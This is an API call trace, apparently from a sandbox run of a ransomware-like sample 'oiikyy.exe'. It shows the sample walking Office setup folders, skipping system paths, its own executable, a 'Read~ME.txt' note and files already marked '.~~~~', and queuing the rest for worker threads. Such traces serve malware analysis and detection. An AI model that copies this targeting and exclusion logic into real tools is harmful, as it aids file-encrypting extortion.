	[0073.260] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="..", cAlternateFileName="")) returned 1
	[0073.524] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0073.524] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0073.524] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0073.524] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0073.524] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0073.524] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0073.524] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1
	[0073.524] lstrcmpiW (lpString1="Access.en-us", lpString2="Windows") returned -1
	[0073.524] lstrcmpW (lpString1="Access.en-us", lpString2=".") returned 1
	[0073.524] lstrcmpW (lpString1="Access.en-us", lpString2="..") returned 1
	[0073.524] lstrcmpW (lpString1="Access.en-us", lpString2="AppData") returned -1
	[0073.524] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us", lpSrch="AppData") returned 0x0
	[0073.525] lstrlenW (lpString="C:\\Windows") returned 10
	[0073.525] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us", lpString2="C:\\Windows") returned -1
	[0073.525] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0073.525] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us", lpString2="C:\\System Volume Information") returned -1
	[0073.525] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0073.525] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0075.183] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0075.183] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0075.183] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0075.183] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0075.183] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0075.183] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.183] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0075.184] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0075.184] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0075.184] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0075.184] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0075.184] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0075.184] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1
	[0075.184] lstrcmpiW (lpString1="AccessMUI.XML", lpString2="Windows") returned -1
	[0075.184] lstrcmpW (lpString1="AccessMUI.XML", lpString2="oiikyy.exe") returned -1
	[0075.184] StrStrW (lpFirst="AccessMUI.XML", lpSrch=".~~~~") returned 0x0
	[0075.184] lstrcmpW (lpString1="AccessMUI.XML", lpString2="Read~ME.txt") returned -1
	[0075.184] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fa460
	[0075.184] GetCurrentThreadId () returned 0x618
	[0075.184] RtlWakeConditionVariable () returned 0x365f48
	[0075.184] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="ACCESS~2.XML")) returned 1
	[0075.184] lstrcmpiW (lpString1="AccessMUISet.XML", lpString2="Windows") returned -1
	[0075.184] lstrcmpW (lpString1="AccessMUISet.XML", lpString2="oiikyy.exe") returned -1
	[0075.184] StrStrW (lpFirst="AccessMUISet.XML", lpSrch=".~~~~") returned 0x0
	[0075.185] lstrcmpW (lpString1="AccessMUISet.XML", lpString2="Read~ME.txt") returned -1
	[0075.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x27fa460
	[0075.185] GetCurrentThreadId () returned 0x618
	[0075.185] RtlWakeConditionVariable () returned 0x365f48
	[0075.185] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.185] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0075.185] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0075.185] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0075.185] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0075.185] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.185] GetCurrentThreadId () returned 0x618
	[0075.185] RtlWakeConditionVariable () returned 0x365f48
	[0075.185] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.185] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0075.187] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.187] GetCurrentThreadId () returned 0x618
	[0075.187] RtlWakeConditionVariable () returned 0x365f48
	[0075.187] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1
	[0075.187] lstrcmpiW (lpString1="Excel.en-us", lpString2="Windows") returned -1
	[0075.187] lstrcmpW (lpString1="Excel.en-us", lpString2=".") returned 1
	[0075.187] lstrcmpW (lpString1="Excel.en-us", lpString2="..") returned 1
	[0075.187] lstrcmpW (lpString1="Excel.en-us", lpString2="AppData") returned 1
	[0075.188] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us", lpSrch="AppData") returned 0x0
	[0075.188] lstrlenW (lpString="C:\\Windows") returned 10
	[0075.188] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us", lpString2="C:\\Windows") returned -1
	[0075.188] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0075.188] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us", lpString2="C:\\System Volume Information") returned -1
	[0075.188] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0075.188] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0075.376] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0075.376] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0075.376] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0075.376] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0075.376] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0075.376] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa64b3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.376] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0075.376] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0075.376] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0075.376] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0075.377] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0075.377] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0075.377] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1
	[0075.377] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="Windows") returned -1
	[0075.377] lstrcmpW (lpString1="ExcelMUI.XML", lpString2="oiikyy.exe") returned -1
	[0075.377] StrStrW (lpFirst="ExcelMUI.XML", lpSrch=".~~~~") returned 0x0
	[0075.377] lstrcmpW (lpString1="ExcelMUI.XML", lpString2="Read~ME.txt") returned -1
	[0075.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.377] GetCurrentThreadId () returned 0x618
	[0075.377] RtlWakeConditionVariable () returned 0x365f48
	[0075.377] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.377] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0075.377] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0075.377] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0075.377] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0075.377] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.377] GetCurrentThreadId () returned 0x618
	[0075.377] RtlWakeConditionVariable () returned 0x365f48
	[0075.377] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.377] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0075.378] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.378] GetCurrentThreadId () returned 0x618
	[0075.378] RtlWakeConditionVariable () returned 0x365f48
	[0075.379] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1
	[0075.379] lstrcmpiW (lpString1="Groove.en-us", lpString2="Windows") returned -1
	[0075.379] lstrcmpW (lpString1="Groove.en-us", lpString2=".") returned 1
	[0075.379] lstrcmpW (lpString1="Groove.en-us", lpString2="..") returned 1
	[0075.379] lstrcmpW (lpString1="Groove.en-us", lpString2="AppData") returned 1
	[0075.379] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us", lpSrch="AppData") returned 0x0
	[0075.380] lstrlenW (lpString="C:\\Windows") returned 10
	[0075.380] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us", lpString2="C:\\Windows") returned -1
	[0075.380] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0075.380] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us", lpString2="C:\\System Volume Information") returned -1
	[0075.380] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x280bfd0
	[0075.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0075.506] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0075.507] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0075.507] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0075.507] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0075.507] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0075.507] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd658ff0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfd67f150, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.507] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0075.507] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0075.507] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0075.507] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0075.507] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0075.507] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0075.507] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd658ff0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x391, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1
	[0075.507] lstrcmpiW (lpString1="GrooveMUI.XML", lpString2="Windows") returned -1
	[0075.508] lstrcmpW (lpString1="GrooveMUI.XML", lpString2="oiikyy.exe") returned -1
	[0075.508] StrStrW (lpFirst="GrooveMUI.XML", lpSrch=".~~~~") returned 0x0
	[0075.508] lstrcmpW (lpString1="GrooveMUI.XML", lpString2="Read~ME.txt") returned -1
	[0075.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.508] GetCurrentThreadId () returned 0x618
	[0075.508] RtlWakeConditionVariable () returned 0x365f48
	[0075.508] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0075.508] lstrcmpiW (lpString1="SETUP.XML", lpString2="Windows") returned -1
	[0075.508] lstrcmpW (lpString1="SETUP.XML", lpString2="oiikyy.exe") returned 1
	[0075.508] StrStrW (lpFirst="SETUP.XML", lpSrch=".~~~~") returned 0x0
	[0075.508] lstrcmpW (lpString1="SETUP.XML", lpString2="Read~ME.txt") returned 1
	[0075.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.508] GetCurrentThreadId () returned 0x618
	[0075.508] RtlWakeConditionVariable () returned 0x365f48
	[0075.508] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0075.508] FindClose (in: hFindFile=0x37a8c8 | out: hFindFile=0x37a8c8) returned 1
	[0075.508] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x3fa8d8
	[0075.508] GetCurrentThreadId () returned 0x618
	[0075.508] RtlWakeConditionVariable () returned 0x365f48
	[0075.508] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1
	[0075.509] lstrcmpiW (lpString1="InfoPath.en-us", lpString2="Windows") returned -1
	[0075.509] lstrcmpW (lpString1="InfoPath.en-us", lpString2=".") returned 1
	[0075.509] lstrcmpW (lpString1="InfoPath.en-us", lpString2="..") returned 1
	[0075.509] lstrcmpW (lpString1="InfoPath.en-us", lpString2="AppData") returned 1
	[0075.509] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us", lpSrch="AppData") returned 0x0
	[0075.509] lstrlenW (lpString="C:\\Windows") returned 10
	[0075.509] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us", lpString2="C:\\Windows") returned -1
	[0075.509] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0075.509] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us", lpString2="C:\\System Volume Information") returned -1
	[0075.509] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3c76e8
	[0075.510] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\*", lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a8c8
	[0075.512] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0075.512] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0075.512] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0075.512] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0075.512] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0075.512] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x112a3b30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x112a3b30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.512] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0075.512] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0075.513] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0075.513] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0075.513] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0075.513] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0075.513] FindNextFileW (in: hFindFile=0x37a8c8, lpFindFileData=0x27decf0 | out: lpFindFileData=0x27decf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6e345a0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x112a3b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf6e345a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x4cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1
	[0075.513] lstrcmpiW (lpString1="InfoPathMUI.XML", lpString2="Windows") returned -1
	[0075.513] lstrcmpW (lpString1="InfoPathMUI.XML", lpString2="oiikyy.exe") returned -1
	[0075.513] StrStrW (lpFirst="InfoPathMUI.XML", lpSrch=".~~~~") returned 0x0
	[0075.513] lstrcmpW (lpString1="InfoPathMUI.XML", lpString2="Read~ME.txt") returned -1
	[0075.513] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x27f9e58
	[0075.513] GetCurrentThreadId () returned 0x618
	[0075.513] RtlWakeConditionVariable () returned 0x365f48
